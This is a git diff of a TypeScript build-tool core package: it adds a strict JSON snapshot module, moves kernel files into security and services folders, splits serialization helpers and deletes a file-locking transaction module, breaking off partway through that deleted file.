a/packages/core/src/security/json-snapshot.ts b/packages/core/src/security/json-snapshot.ts new file mode 100644 index 0000000..1ea1c3f --- /dev/null +++ b/packages/core/src/security/json-snapshot.ts @@ -0,0 +1,136 @@ +import type { JsonValue } from '../contracts/common.js'; +import { compareCodeUnits } from '../serialization/json.js'; + +/** 递归 JSON snapshot 的祖先集合与稳定字段路径。 */ +interface JsonSnapshotState { + readonly ancestors: Set; + readonly path: string; +} + +/** + * 返回不执行 getter 的自有字段描述符,并拒绝 Symbol 字段。 + * + * @param value 当前 JSON 容器。 + * @param path 稳定诊断路径。 + * @returns 当前容器的完整字符串字段描述符。 + */ +function ownDescriptors(value: object, path: string): Readonly> { + if (Object.getOwnPropertySymbols(value).length > 0) + throw new TypeError(`${path} must not contain Symbol properties.`); + return Object.getOwnPropertyDescriptors(value); +} + +/** + * 读取一个可枚举 data property,避免 snapshot 执行作者行为。 + * + * @param descriptor 待验证字段描述符。 + * @param path 稳定诊断路径。 + * @returns 字段保存的原始值。 + */ +function dataPropertyValue(descriptor: PropertyDescriptor | undefined, path: string): unknown { + if (descriptor === undefined || !('value' in descriptor) || descriptor.enumerable !== true) + throw new TypeError(`${path} must be an enumerable data property.`); + return descriptor.value; +} + +/** + * 在普通对象上安全定义 JSON 字段,包括不会触发原型 setter 的 `__proto__`。 + * + * @param target snapshot 输出对象。 + * @param key 当前字段名。 + * @param value 已完成递归 snapshot 的字段值。 + */ +function defineJsonField(target: Record, key: string, value: JsonValue): void { + Object.defineProperty(target, key, { + value, + enumerable: true, + configurable: false, + writable: false, + }); +} + +/** + * 递归复制一个严格 JSON 值并冻结全部容器。 + * + * @param value 当前未知输入。 + * @param state 当前祖先集合与诊断路径。 + * @returns 与输入 identity 隔离的 JSON snapshot。 + */ +function snapshotValue(value: unknown, state: JsonSnapshotState): JsonValue { + if (value === null || typeof value === 'string' || typeof value === 'boolean') + return value; + if (typeof value === 'number') { + if (!Number.isFinite(value)) + throw new TypeError(`${state.path} must contain only finite JSON numbers.`); + return value; + } + if (typeof value !== 'object') + throw new TypeError(`${state.path} must contain only JSON values.`); + if (state.ancestors.has(value)) + throw new TypeError(`${state.path} must not contain cycles.`); + + state.ancestors.add(value); + try { + if (Array.isArray(value)) { + if (Object.getPrototypeOf(value) !== Array.prototype) + throw new TypeError(`${state.path} must be a plain array.`); + /** length 是数组唯一允许的不可枚举自有字段。 */ + const descriptors = ownDescriptors(value, state.path); + /** 数组必须只拥有 length 与范围内的十进制索引。 */ + for (const field of Object.keys(descriptors)) { + if (field === 'length') + continue; + if (!/^(?:0|[1-9][0-9]*)$/u.test(field) || Number(field) >= value.length) + throw new TypeError(`${state.path} arrays must not contain custom properties.`); + } + /** 逐索引读取 descriptor,既拒绝稀疏数组也不执行 getter。 */ + const result: JsonValue[] = []; + for (let index = 0; index < value.length; index += 1) { + /** 缺失 index 使用明确 sparse 诊断,其余 descriptor 仍走 data property 验证。 */ + const descriptor = descriptors[String(index)]; + if (descriptor === undefined) + throw new TypeError(`${state.path} must not contain sparse arrays.`); + result.push(snapshotValue(dataPropertyValue(descriptor, `${state.path}[${index}]`), { + ancestors: state.ancestors, + path: `${state.path}[${index}]`, + })); + } + return Object.freeze(result); + } + + /** JSON object 只接受 object literal 与 null-prototype record。 */ + const prototype = Object.getPrototypeOf(value); + if (prototype !== Object.prototype && prototype !== null) + throw new TypeError(`${state.path} must be a plain object.`); + /** 字段按 code unit 排序并逐个验证为可枚举 data property。 */ + const descriptors = ownDescriptors(value, state.path); + /** 输出使用普通对象;defineProperty 避免特殊键触发 Object.prototype setter。 */ + const result: Record = {}; + for (const field of Object.keys(descriptors).sort(compareCodeUnits)) { + /** 当前字段的稳定诊断路径不读取其值。 */ + const fieldPath = `${state.path}.${field}`; + defineJsonField(result, field, snapshotValue(dataPropertyValue(descriptors[field], fieldPath), { + ancestors: state.ancestors, + path: fieldPath, + })); + } + return Object.freeze(result); + } finally { + state.ancestors.delete(value); + } +} + +/** + * 将未知输入规范化为与调用方 identity 隔离的严格 JSON snapshot。 + * + * 该函数不调用 getter、iterator、toJSON 或其他作者行为,并递归冻结结果。 + * + * @param value 待验证和复制的未知输入。 + * @param label 稳定诊断中的根对象名称。 + * @returns 按对象键稳定排序的深冻结 JSON 值。 + */ +export function snapshotJson(value: unknown, label: string): JsonValue { + if (typeof label !== 'string' || label.length === 0) + throw new TypeError('JSON snapshot label must be a non-empty string.'); + return snapshotValue(value, { ancestors: new Set(), path: label }); +} diff --git a/packages/core/src/kernel/path-policy.ts b/packages/core/src/security/path-policy.ts similarity index 98% rename from packages/core/src/kernel/path-policy.ts rename to packages/core/src/security/path-policy.ts index 04134b1..c342f37 100644 --- a/packages/core/src/kernel/path-policy.ts +++ b/packages/core/src/security/path-policy.ts @@ -1,7 +1,7 @@ import { promises as fs } from 'node:fs'; import path from 'node:path'; -/** 被授权路径的已验证普通文件或目录类型。 */ +/** 安全边界授权路径的已验证普通文件或目录类型。 */ export type SafeEntryType = 'file' | 'directory'; /** diff --git a/packages/core/src/kernel/report-safety.ts b/packages/core/src/security/report-safety.ts similarity index 92% rename from packages/core/src/kernel/report-safety.ts rename to packages/core/src/security/report-safety.ts index c031ce4..bdd7af7 100644 --- a/packages/core/src/kernel/report-safety.ts +++ b/packages/core/src/security/report-safety.ts @@ -1,4 +1,4 @@ -/** 凭据字段和值的保守单行匹配。 */ +/** 报告安全边界使用的凭据字段和值保守单行匹配。 */ const CREDENTIAL = /\b(?:Bearer|Basic)\s+[^\s,;]+|\b(?:token|secret|password|api[_-]?key)\s*[=:]\s*[^\s,;]+/giu; /** acplugin 受管临时目录的稳定匹配。 */ diff --git a/packages/core/src/serialization/documents.ts b/packages/core/src/serialization/documents.ts new file mode 100644 index 0000000..bddd632 --- /dev/null +++ b/packages/core/src/serialization/documents.ts @@ -0,0 +1,23 @@ +import { stringify } from 'yaml'; +import { sortObject } from './json.js'; + +/** + * 将值序列化为不受对象插入顺序影响的 YAML。 + * + * @param value 需要序列化的数据。 + * @returns 不带尾随换行、且不主动折叠长行的 YAML 文本。 + */ +export function stableYaml(value: unknown): string { + return stringify(sortObject(value), { lineWidth: 0 }).trimEnd(); +} + +/** + * 组合 YAML frontmatter 与 Markdown 正文,建立统一的空白和结尾换行约定。 + * + * @param frontmatter 文档头部的结构化元数据。 + * @param body Markdown 正文。 + * @returns 可直接写入 Asset 的完整 Markdown 文本。 + */ +export function markdownWithFrontmatter(frontmatter: Record, body: string): string { + return `---\n${stableYaml(frontmatter)}\n---\n${body.trim()}\n`; +} diff --git a/packages/core/src/serialization/index.ts b/packages/core/src/serialization/index.ts new file mode 100644 index 0000000..2a92415 --- /dev/null +++ b/packages/core/src/serialization/index.ts @@ -0,0 +1,2 @@ +export * from './documents.js'; +export * from './json.js'; diff --git a/packages/core/src/serialization.ts b/packages/core/src/serialization/json.ts similarity index 64% rename from packages/core/src/serialization.ts rename to packages/core/src/serialization/json.ts index efb972f..c6312e7 100644 --- a/packages/core/src/serialization.ts +++ b/packages/core/src/serialization/json.ts @@ -1,5 +1,3 @@ -import { stringify } from 'yaml'; - /** * 按 ECMAScript UTF-16 code unit 比较字符串,不依赖宿主 locale 或 ICU 数据。 * @@ -42,24 +40,3 @@ export function sortObject(value: unknown): unknown { export function stableJson(value: unknown): string { return `${JSON.stringify(sortObject(value), null, 2)}\n`; } - -/** - * 将值序列化为不受对象插入顺序影响的 YAML。 - * - * @param value 需要序列化的数据。 - * @returns 不带尾随换行、且不主动折叠长行的 YAML 文本。 - */ -export function stableYaml(value: unknown): string { - return stringify(sortObject(value), { lineWidth: 0 }).trimEnd(); -} - -/** - * 组合 YAML frontmatter 与 Markdown 正文,建立统一的空白和结尾换行约定。 - * - * @param frontmatter 文档头部的结构化元数据。 - * @param body Markdown 正文。 - * @returns 可直接写入 Asset 的完整 Markdown 文本。 - */ -export function markdownWithFrontmatter(frontmatter: Record, body: string): string { - return `---\n${stableYaml(frontmatter)}\n---\n${body.trim()}\n`; -} diff --git a/packages/core/src/kernel/asset-registry.ts b/packages/core/src/services/assets.ts similarity index 98% rename from packages/core/src/kernel/asset-registry.ts rename to packages/core/src/services/assets.ts index b20a42a..1683b74 100644 --- a/packages/core/src/kernel/asset-registry.ts +++ b/packages/core/src/services/assets.ts @@ -2,19 +2,19 @@ import { createHash } from 'node:crypto'; import { promises as fs } from 'node:fs'; import type { AssetMode, - AssetOrigin, AssetRef, AssetService, BytesAssetRef, - CompileAssetOriginInput, GeneratedAssetRef, GeneratedBytesOriginInput, SourceAssetRef, SourceFileRef, -} from '../kernel-types.js'; -import { BuildSessionScope } from './build-session-scope.js'; -import { compareCodePoints, safeRelativePath, validatePhysicalEntry } from './path-policy.js'; -import { SourceRegistry } from './source-registry.js'; +} from '../contracts/services.js'; +import type { AssetOrigin } from '../contracts/reports.js'; +import type { CompileAssetOriginInput } from '../contracts/compiler.js'; +import { BuildSessionScope } from '../lifecycle/session-scope.js'; +import { compareCodePoints, safeRelativePath, validatePhysicalEntry } from '../security/path-policy.js'; +import { SourceRegistry } from './sources.js'; import type { WorkDirectoryHandle } from './work-directories.js'; import { WorkDirectoryRegistry } from './work-directories.js'; diff --git a/packages/core/src/kernel/diagnostic-registry.ts b/packages/core/src/services/diagnostics.ts similarity index 95% rename from packages/core/src/kernel/diagnostic-registry.ts rename to packages/core/src/services/diagnostics.ts index 21f536e..55f3c34 100644 --- a/packages/core/src/kernel/diagnostic-registry.ts +++ b/packages/core/src/services/diagnostics.ts @@ -1,6 +1,13 @@ -import type { Diagnostic, DiagnosticInput, DiagnosticPhase, DiagnosticService } from '../kernel-types.js'; -import { compareCodePoints, safeRelativePath } from './path-policy.js'; -import { sanitizeStableText } from './report-safety.js'; +import type { + Diagnostic, + DiagnosticPhase, +} from '../contracts/reports.js'; +import type { + DiagnosticInput, + DiagnosticService, +} from '../contracts/services.js'; +import { compareCodePoints, safeRelativePath } from '../security/path-policy.js'; +import { sanitizeStableText } from '../security/report-safety.js'; /** * 比较可选稳定文本。 diff --git a/packages/core/src/kernel/execution-host.ts b/packages/core/src/services/execution.ts similarity index 98% rename from packages/core/src/kernel/execution-host.ts rename to packages/core/src/services/execution.ts index 82c914a..375f3c1 100644 --- a/packages/core/src/kernel/execution-host.ts +++ b/packages/core/src/services/execution.ts @@ -1,8 +1,12 @@ import { spawn } from 'node:child_process'; import { promises as fs } from 'node:fs'; import process from 'node:process'; -import type { ExecutionResult, ExecutionService, GeneratedAssetRef } from '../kernel-types.js'; -import { AssetRegistry } from './asset-registry.js'; +import type { + ExecutionResult, + ExecutionService, + GeneratedAssetRef, +} from '../contracts/services.js'; +import { AssetRegistry } from './assets.js'; import { WorkDirectoryRegistry } from './work-directories.js'; /** Execution Host 固定全局超时上限。 */ diff --git a/packages/core/src/kernel/extension-state.ts b/packages/core/src/services/extension-state.ts similarity index 96% rename from packages/core/src/kernel/extension-state.ts rename to packages/core/src/services/extension-state.ts index 8fb879e..7224e3b 100644 --- a/packages/core/src/kernel/extension-state.ts +++ b/packages/core/src/services/extension-state.ts @@ -1,6 +1,10 @@ -import type { AssetRef, SourceDirectoryRef, SourceFileRef } from '../kernel-types.js'; -import { AssetRegistry } from './asset-registry.js'; -import { SourceRegistry } from './source-registry.js'; +import type { + AssetRef, + SourceDirectoryRef, + SourceFileRef, +} from '../contracts/services.js'; +import { AssetRegistry } from './assets.js'; +import { SourceRegistry } from './sources.js'; /** Extension State 支持的两个权限阶段。 */ export type ExtensionStatePhase = 'discovered' | 'validated' | 'built'; diff --git a/packages/core/src/kernel/module-host.ts b/packages/core/src/services/modules.ts similarity index 97% rename from packages/core/src/kernel/module-host.ts rename to packages/core/src/services/modules.ts index d71b29e..80c555a 100644 --- a/packages/core/src/kernel/module-host.ts +++ b/packages/core/src/services/modules.ts @@ -1,14 +1,17 @@ import { promises as fs } from 'node:fs'; import path from 'node:path'; import { pathToFileURL } from 'node:url'; -import type { ModuleService, SourceFileRef } from '../kernel-types.js'; -import { safeRelativePath, validatePhysicalEntry } from './path-policy.js'; -import { SourceRegistry } from './source-registry.js'; -import { WatchRegistry, type WatchObservation } from './watch-registry.js'; +import type { + ModuleService, + SourceFileRef, +} from '../contracts/services.js'; +import { safeRelativePath, validatePhysicalEntry } from '../security/path-policy.js'; +import { SourceRegistry } from './sources.js'; +import { WatchRegistry, type WatchObservation } from './watch.js'; import { WorkDirectoryRegistry } from './work-directories.js'; import { loadManagedEngine, type EngineInputOptions, type EngineOutputOptions, type ManagedEngine } from '../compiler/engine-loader.js'; -import { packageScope, type ManagedPackageScope } from '../compiler/managed-boundary.js'; -import { normalizeNodeBuiltin, portableNodePolicyPlugin } from '../compiler/portable-policy.js'; +import { packageScope, type ManagedPackageScope } from '../compiler/managed/boundary.js'; +import { normalizeNodeBuiltin, portableNodePolicyPlugin } from '../compiler/portable-node/policy.js'; /** Module Host operation 使用的稳定 ID。 */ const MODULE_ID = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; @@ -68,7 +71,7 @@ async function observeNearestManifest(state: ModuleResolutionState, importer: st * @param state 当前 load operation 的授权 source/package 集。 * @returns 只 externalize 已证明 package entry 的 Core Plugin。 */ -function moduleResolutionPlugin(state: ModuleResolutionState): import('../kernel-types.js').ManagedRolldownPlugin { +function moduleResolutionPlugin(state: ModuleResolutionState): import('../contracts/compiler.js').ManagedRolldownPlugin { return Object.freeze({ name: 'acplugin-module-resolution', resolveId: { diff --git a/packages/core/src/kernel/source-registry.ts b/packages/core/src/services/sources.ts similarity index 99% rename from packages/core/src/kernel/source-registry.ts rename to packages/core/src/services/sources.ts index 0e84031..68a830d 100644 --- a/packages/core/src/kernel/source-registry.ts +++ b/packages/core/src/services/sources.ts @@ -7,8 +7,8 @@ import type { SourceEntry, SourceFileRef, SourceService, -} from '../kernel-types.js'; -import { BuildSessionScope } from './build-session-scope.js'; +} from '../contracts/services.js'; +import { BuildSessionScope } from '../lifecycle/session-scope.js'; import { compareCodePoints, isInsidePath, @@ -16,7 +16,7 @@ import { safeRelativePath, SourcePathCollisionRegistry, validatePhysicalEntry, -} from './path-policy.js'; +} from '../security/path-policy.js'; /** SourceRef 对应的内部对象身份授权记录。 */ interface SourceRecord { diff --git a/packages/core/src/kernel/watch-registry.ts b/packages/core/src/services/watch.ts similarity index 99% rename from packages/core/src/kernel/watch-registry.ts rename to packages/core/src/services/watch.ts index dd35486..4fd53e5 100644 --- a/packages/core/src/kernel/watch-registry.ts +++ b/packages/core/src/services/watch.ts @@ -1,7 +1,7 @@ import { promises as fs } from 'node:fs'; import path from 'node:path'; -import { BuildSessionScope } from './build-session-scope.js'; -import { compareCodePoints, isInsidePath, projectReportPath, sourceCollisionKey } from './path-policy.js'; +import { BuildSessionScope } from '../lifecycle/session-scope.js'; +import { compareCodePoints, isInsidePath, projectReportPath, sourceCollisionKey } from '../security/path-policy.js'; /** Host 向唯一 Watch Registry 提交的单个物理观察。 */ export interface WatchObservation { diff --git a/packages/core/src/kernel/work-directories.ts b/packages/core/src/services/work-directories.ts similarity index 98% rename from packages/core/src/kernel/work-directories.ts rename to packages/core/src/services/work-directories.ts index 403d874..be414d6 100644 --- a/packages/core/src/kernel/work-directories.ts +++ b/packages/core/src/services/work-directories.ts @@ -1,8 +1,8 @@ import { createHash } from 'node:crypto'; import { promises as fs } from 'node:fs'; import path from 'node:path'; -import { BuildSessionScope } from './build-session-scope.js'; -import { isInsidePath, safeRelativePath, validatePhysicalEntry } from './path-policy.js'; +import { BuildSessionScope } from '../lifecycle/session-scope.js'; +import { isInsidePath, safeRelativePath, validatePhysicalEntry } from '../security/path-policy.js'; /** WorkDirectoryRegistry 私有的不可伪造目录句柄。 */ export interface WorkDirectoryHandle { diff --git a/packages/core/src/transaction.ts b/packages/core/src/transaction.ts deleted file mode 100644 index 63d0666..0000000 --- a/packages/core/src/transaction.ts +++ /dev/null @@ -1,1039 +0,0 @@ -import { createHash, randomUUID } from 'node:crypto'; -import { promises as fs } from 'node:fs'; -import type { BigIntStats } from 'node:fs'; -import type { FileHandle } from 'node:fs/promises'; -import path from 'node:path'; -import type { PackageUnitSnapshot } from './kernel-types.js'; -import { AssetRegistry } from './kernel/asset-registry.js'; -import { - compareCodePoints, - isInsidePath, - sourceCollisionKey, - validatePhysicalEntry, -} from './kernel/path-policy.js'; -import { materializePackageUnits, scanPhysicalTree, validatePackageUnits } from './package/candidate-materializer.js'; - -/** 受管输出事务可观测的稳定阶段名称。 */ -export type ManagedOutputPhase - = | 'lock-acquired' - | 'recovery-complete' - | 'stage-materialized' - | 'stage-validated' - | 'transaction-written' - | 'backup-created' - | 'output-swapped'; - -/** 完整构建替换所有输出;显式 subset 只替换所选 Platform。 */ -export type ManagedOutputScope = { - readonly type: 'full'; -} | { - readonly type: 'subset'; - readonly platforms: readonly string[]; -}; - -/** Package Unit 集合原子提交选项。 */ -export interface CommitPackageUnitsOptions { - /** outDir 必须严格位于该工程根内部。 */ - readonly projectRoot: string; - /** 默认 full;subset 会在 stage 中保留未选 Platform 的既有输出。 */ - readonly scope?: ManagedOutputScope; - /** - * 在事务进入关键阶段时调用,用于内部观测和 fault injection。 - * - * @param phase 已经完成的事务阶段。 - */ - readonly onPhase?: (phase: ManagedOutputPhase) => void | Promise; - /** swap 后、删除 rollback backup 前执行的 Core 收尾。 */ - readonly afterSwap?: () => void | Promise; -} - -/** 既有未选 Platform 中一个普通文件的稳定快照。 */ -interface PreservedFile { - readonly path: string; - readonly bytes: Uint8Array; - readonly mode: 0o644 | 0o755; - readonly size: number; - readonly sha256: string; -} - -/** 一个未选 Platform 的完整旧输出快照。 */ -interface PreservedPlatform { - readonly id: string; - readonly directories: readonly string[]; - readonly files: readonly PreservedFile[]; -} - -/** 崩溃恢复所需的最小 rollback record。 */ -interface TransactionRecord { - readonly schemaVersion: 2; - readonly outDir: string; - readonly scope: ManagedOutputScope['type']; - readonly hadOutput: boolean; -} - -/** 独占锁完整发布后才允许出现的 owner record。 */ -interface ManagedOutputLockRecord { - readonly schemaVersion: 3; - readonly pid: number; - readonly token: string; -} - -/** 读取锁时同时保留精确字节,供无 CAS 删除前复核。 */ -interface ManagedOutputLockObservation { - readonly bytes: string; - readonly metadata: ManagedOutputLockMetadata; - readonly record?: ManagedOutputLockRecord; -} - -/** 路径观察的稳定 inode 与内容 metadata。 */ -interface ManagedOutputLockMetadata { - readonly device: bigint; - readonly inode: bigint; - readonly mode: bigint; - readonly size: bigint; - readonly modified: bigint; - readonly changed: bigint; - readonly created: bigint; -} - -/** 锁路径元数据操作使用的唯一、可精确清理 guard。 */ -interface ManagedOutputLockGuard { - readonly path: string; - readonly pid: number; - readonly token: string; -} - -/** 未完成 marker 只允许存在于这个固定、可恢复的临时后缀。 */ -const MARKER_WRITING_SUFFIX = '.writing'; - -/** 当前进程仍实际持有的 token;清理失败后的同 PID record 不再视为活锁。 */ -const ACTIVE_LOCK_TOKENS = new Set(); - -/** 当前进程正在发布或持有的 lock-metadata guard token。 */ -const ACTIVE_LOCK_GUARD_TOKENS = new Set(); - -/** Platform 和 Unit ID 使用的稳定 lowercase-kebab 规则。 */ -const STABLE_ID = /^[a-z0-9]+(?:-[a-z0-9]+)*$/u; - -/** randomUUID 的稳定小写文本形态,避免任意 lock 内容进入 owner 判断。 */ -const LOCK_TOKEN = /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/u; - -/** 旧 create→write malformed lock 在隔离前必须保持不变的有界观察窗口。 */ -const LEGACY_LOCK_STABILITY_DELAY_MS = 25; - -/** 关闭当前调用独占的 handle;瞬时失败时再尝试一次,避免泄漏描述符。 */ -async function closeOwnedFile(handle: FileHandle): Promise { - try { - await handle.close(); - } catch (firstError) { - try { - await handle.close(); - } catch { - throw firstError; - } - } -} - -/** 删除永不复用或由 metadata guard 保护的自有路径;瞬时失败时安全重试。 */ -async function removeOwnedPath(file: string): Promise { - try { - await fs.rm(file, { force: true }); - } catch (firstError) { - try { - await fs.rm(file, { force: true }); - } catch { - throw firstError; - } - } -} - -/** @returns 路径是否存在;ENOENT 以外错误仍按不存在处理到后续操作。 */ -async function exists(candidate: string): Promise { - try { - await fs.access(candidate); - return true; - } catch { - return false; - } -} - -/** 从 bigint lstat 提取锁恢复需要比较的稳定 metadata。 */ -function managedOutputLockMetadata(stat: BigIntStats): ManagedOutputLockMetadata { - return Object.freeze({ - device: stat.dev, - inode: stat.ino, - mode: stat.mode, - size: stat.size, - modified: stat.mtimeNs, - changed: stat.ctimeNs, - created: stat.birthtimeNs, - }); -} - -/** @returns 两次路径观察是否仍指向同一份未变化内容。 */ -function sameManagedOutputLockMetadata( - left: ManagedOutputLockMetadata, - right: ManagedOutputLockMetadata, -): boolean { - return left.device === right.device && left.inode === right.inode && left.mode === right.mode - && left.size === right.size && left.modified === right.modified && left.changed === right.changed - && left.created === right.created; -} - -/** @returns rename 后的路径是否仍是首次观察的同一个 inode。 */ -function sameManagedOutputLockInode( - left: ManagedOutputLockMetadata, - right: ManagedOutputLockMetadata, -): boolean { - return left.device === right.device && left.inode === right.inode && left.created === right.created; -} - -/** 读取一个完整锁记录;旧版或截断内容作为可隔离的 malformed observation。 */ -async function readManagedOutputLock(file: string): Promise { - /** 锁绝不能借助 symlink 或特殊文件影响同级输出。 */ - const pathBefore = await fs.lstat(file, { bigint: true }); - if (pathBefore.isSymbolicLink() || !pathBefore.isFile()) - throw new Error('Managed output lock must be a regular file.'); - /** FileHandle 把 metadata 与字节绑定到同一 inode,避免 path read 的替换竞态。 */ - const handle = await fs.open(file, 'r'); - /** handle 读取的精确锁字节。 */ - let bytes: string; - /** handle 读取完成后的稳定 metadata。 */ - let metadata: ManagedOutputLockMetadata; - try { - /** open 前后的 inode 必须仍与首次 lstat 一致,且不能变成特殊文件。 */ - const before = await handle.stat({ bigint: true }); - if (!before.isFile() - || !sameManagedOutputLockMetadata(managedOutputLockMetadata(pathBefore), managedOutputLockMetadata(before))) - throw new Error('Managed output lock changed while it was being observed.'); - /** 精确原始字节用于隔离时确认没有搬走另一个 writer 的新记录。 */ - bytes = await handle.readFile({ encoding: 'utf8' }); - /** handle 与当前路径在读取后必须仍指向同一份未变化内容。 */ - const after = await handle.stat({ bigint: true }); - /** 当前路径的最终 metadata 用于确认没有 replacement。 */ - const pathAfter = await fs.lstat(file, { bigint: true }); - metadata = managedOutputLockMetadata(after); - if (!sameManagedOutputLockMetadata(managedOutputLockMetadata(before), metadata) - || !sameManagedOutputLockMetadata(metadata, managedOutputLockMetadata(pathAfter))) - throw new Error('Managed output lock changed while it was being observed.'); - } finally { - await closeOwnedFile(handle); - } - try { - /** 未验证 JSON 只在当前函数局部存在。 */ - const value: unknown = JSON.parse(bytes); - if (typeof value !== 'object' || value === null || Array.isArray(value)) - return Object.freeze({ bytes, metadata }); - /** schema 3 只允许 pid/token/schemaVersion 三个固定字段。 */ - const record = value as Record; - if (Object.keys(record).sort(compareCodePoints).join(',') !== 'pid,schemaVersion,token' - || record.schemaVersion !== 3 || !Number.isSafeInteger(record.pid) || Number(record.pid) <= 0 - || typeof record.token !== 'string' || !LOCK_TOKEN.test(record.token)) { - return Object.freeze({ bytes, metadata }); - } - return Object.freeze({ - bytes, - metadata, - record: Object.freeze({ schemaVersion: 3, pid: Number(record.pid), token: record.token }), - }); - } catch { - return Object.freeze({ bytes, metadata }); - } -} - -/** @returns 已验证 PID 是否仍对应一个可见进程。 */ -function processIsAlive(pid: number): boolean { - try { - process.kill(pid, 0); - return true; - } catch (error) { - /** EPERM 同样证明进程存在,只是当前调用者无权发送信号。 */ - return (error as NodeJS.ErrnoException).code !== 'ESRCH'; - } -} - -/** 从 lock sibling 名称读取唯一 guard 的 PID、token 和发布状态。 */ -function parseManagedOutputLockGuard( - lockFile: string, - name: string, -): (ManagedOutputLockGuard & { readonly draft: boolean }) | undefined { - /** guard 名称只匹配当前 outDir 的精确 lock basename。 */ - const prefix = `${path.basename(lockFile)}.guard.`; - if (!name.startsWith(prefix)) - return undefined; - /** writing 后缀表示完整 record 尚未原子发布。 */ - const draft = name.endsWith('.writing'); - /** 剩余部分固定为 pid.token,UUID 不包含点号。 */ - const identity = name.slice(prefix.length, draft ? -'.writing'.length : undefined); - /** 第一个点号稳定分隔十进制 PID 与 UUID token。 */ - const separator = identity.indexOf('.'); - if (separator <= 0) - return undefined; - /** PID 来自名称即可在部分 draft 上判断 owner 是否仍存活。 */ - const pidText = identity.slice(0, separator); - /** token 使路径永不被另一个正常调用复用。 */ - const token = identity.slice(separator + 1); - /** 数值 PID 必须保持在 JavaScript 精确整数范围内。 */ - const pid = Number(pidText); - if (!/^[1-9][0-9]*$/u.test(pidText) || !Number.isSafeInteger(pid) || pid <= 0 || !LOCK_TOKEN.test(token)) - return undefined; - /** 绝对 guard 路径只由受管 lock 同级名称组合。 */ - const guardPath = path.join(path.dirname(lockFile), name); - return Object.freeze({ path: guardPath, pid, token, draft }); -} - -/** 发布一个唯一 guard;并发调用互不覆盖,进程崩溃后路径仍可精确回收。 */ -async function publishManagedOutputLockGuard(lockFile: string): Promise { - /** 名称中的 PID/token 允许在 draft 尚不完整时判断 owner。 */ - const pid = process.pid; - /** 每个 guard 路径在所有正常调用间永久唯一。 */ - const token = randomUUID(); - /** 最终 guard record 只在完整写入后通过 hard link 出现。 */ - const finalPath = `${lockFile}.guard.${pid}.${token}`; - /** 同级唯一 draft 不参与互斥,owner identity 已在文件名中。 */ - const draftPath = `${finalPath}.writing`; - ACTIVE_LOCK_GUARD_TOKENS.add(token); - try { - /** draft 从创建起保持私有普通文件。 */ - const handle = await fs.open(draftPath, 'wx', 0o600); - try { - await handle.writeFile(`${JSON.stringify({ schemaVersion: 3, pid, token })}\n`); - await handle.sync(); - } finally { - await closeOwnedFile(handle); - } - /** 唯一 final path 仍使用 no-replace 发布,避免任何路径覆盖。 */ - await fs.link(draftPath, finalPath); - await removeOwnedPath(draftPath); - return Object.freeze({ path: finalPath, pid, token }); - } catch (error) { - /** 发布失败只清理当前唯一 identity 的两个路径。 */ - await removeOwnedPath(finalPath).catch(() => undefined); - await removeOwnedPath(draftPath).catch(() => undefined); - ACTIVE_LOCK_GUARD_TOKENS.delete(token); - throw error; - } -} - -/** @returns guard 是否仍由一个实际存活的调用持有或发布。 */ -function managedOutputLockGuardIsLive(guard: ManagedOutputLockGuard): boolean { - if (guard.pid === process.pid) - return ACTIVE_LOCK_GUARD_TOKENS.has(guard.token); - return processIsAlive(guard.pid); -} - -/** 精确释放当前唯一 guard,失败残留由下一次扫描按同一路径回收。 */ -async function releaseManagedOutputLockGuard(guard: ManagedOutputLockGuard): Promise { - try { - await removeOwnedPath(guard.path); - } finally { - ACTIVE_LOCK_GUARD_TOKENS.delete(guard.token); - } -} - -/** - * 获取 lock path 元数据互斥权。 - * - * 每个竞争者先发布自己的唯一 intent,再扫描所有 intent;晚到者一定能看到仍在 - * 临界区内的早到者。竞争同时发生时允许双方短暂退避,但绝不允许双方进入。 - */ -async function acquireManagedOutputLockGuard(lockFile: string): Promise { - for (let attempt = 0; attempt < 8; attempt += 1) { - /** 当前 attempt 使用全新 identity,旧 attempt 路径不会被复用。 */ - const own = await publishManagedOutputLockGuard(lockFile); - /** 是否存在另一个仍在发布或持有的 guard。 */ - let conflict = false; - try { - /** 目录快照足以建立互斥:任何快照后的新 guard 都必须看到 own。 */ - const names = (await fs.readdir(path.dirname(lockFile))).sort(compareCodePoints); - for (const name of names) { - /** 非当前 lock 的普通 sibling 与 transaction helper 不参与 guard 协议。 */ - const candidate = parseManagedOutputLockGuard(lockFile, name); - if (candidate === undefined || (!candidate.draft && candidate.path === own.path)) - continue; - if (managedOutputLockGuardIsLive(candidate)) { - conflict = true; - continue; - } - /** 唯一 PID/token 路径永不复用,因此 stale cleanup 不会删除新 guard。 */ - await removeOwnedPath(candidate.path); - } - if (!conflict) - return own; - } catch (error) { - await releaseManagedOutputLockGuard(own).catch(() => undefined); - throw error; - } - await releaseManagedOutputLockGuard(own); - /** 小幅有界退避避免两个同时到达的调用持续同步冲突。 */ - await new Promise(resolve => setTimeout(resolve, attempt + 1)); - } - throw new Error('Managed output lock metadata is locked by another process.'); -} - -/** 确认 guard 内的 lock record 与首次观察完全一致。 */ -async function assertManagedOutputLockUnchanged( - file: string, - observation: ManagedOutputLockObservation, -): Promise { - if (observation.record === undefined) { - /** 旧 writer 可能先创建空文件再写 record,给其一个固定且有界的完成窗口。 */ - await new Promise(resolve => setTimeout(resolve, LEGACY_LOCK_STABILITY_DELAY_MS)); - } - /** 第二次完整读取是 malformed/stale recovery 的有界 unchanged-record check。 */ - const current = await readManagedOutputLock(file); - if (current.bytes !== observation.bytes - || !sameManagedOutputLockMetadata(current.metadata, observation.metadata)) - throw new Error('Managed output lock changed during stale recovery.'); -} - -/** - * 原子隔离当前精确观察到的 stale/malformed lock。 - * - * rename 后只删除字节仍匹配的 inode;若竞争者替换了记录则尽力恢复并失败关闭。 - */ -async function quarantineManagedOutputLock( - file: string, - observation: ManagedOutputLockObservation, -): Promise { - /** rename 前在 metadata guard 内完成第二次完整 unchanged-record check。 */ - await assertManagedOutputLockUnchanged(file, observation); - /** 唯一同级 quarantine 避免并发 cleaner 覆盖彼此。 */ - const quarantine = `${file}.${randomUUID()}.stale`; - try { - await fs.rename(file, quarantine); - } catch (error) { - if ((error as NodeJS.ErrnoException).code === 'ENOENT') - return; - throw error; - } - try { - /** random token 使合法 writer replacement 不可能与旧 observation 字节相同。 */ - const moved = await readManagedOutputLock(quarantine); - if (moved.bytes !== observation.bytes - || !sameManagedOutputLockInode(moved.metadata, observation.metadata)) { - try { - await fs.link(quarantine, file); - } catch { - /** 另一个 writer 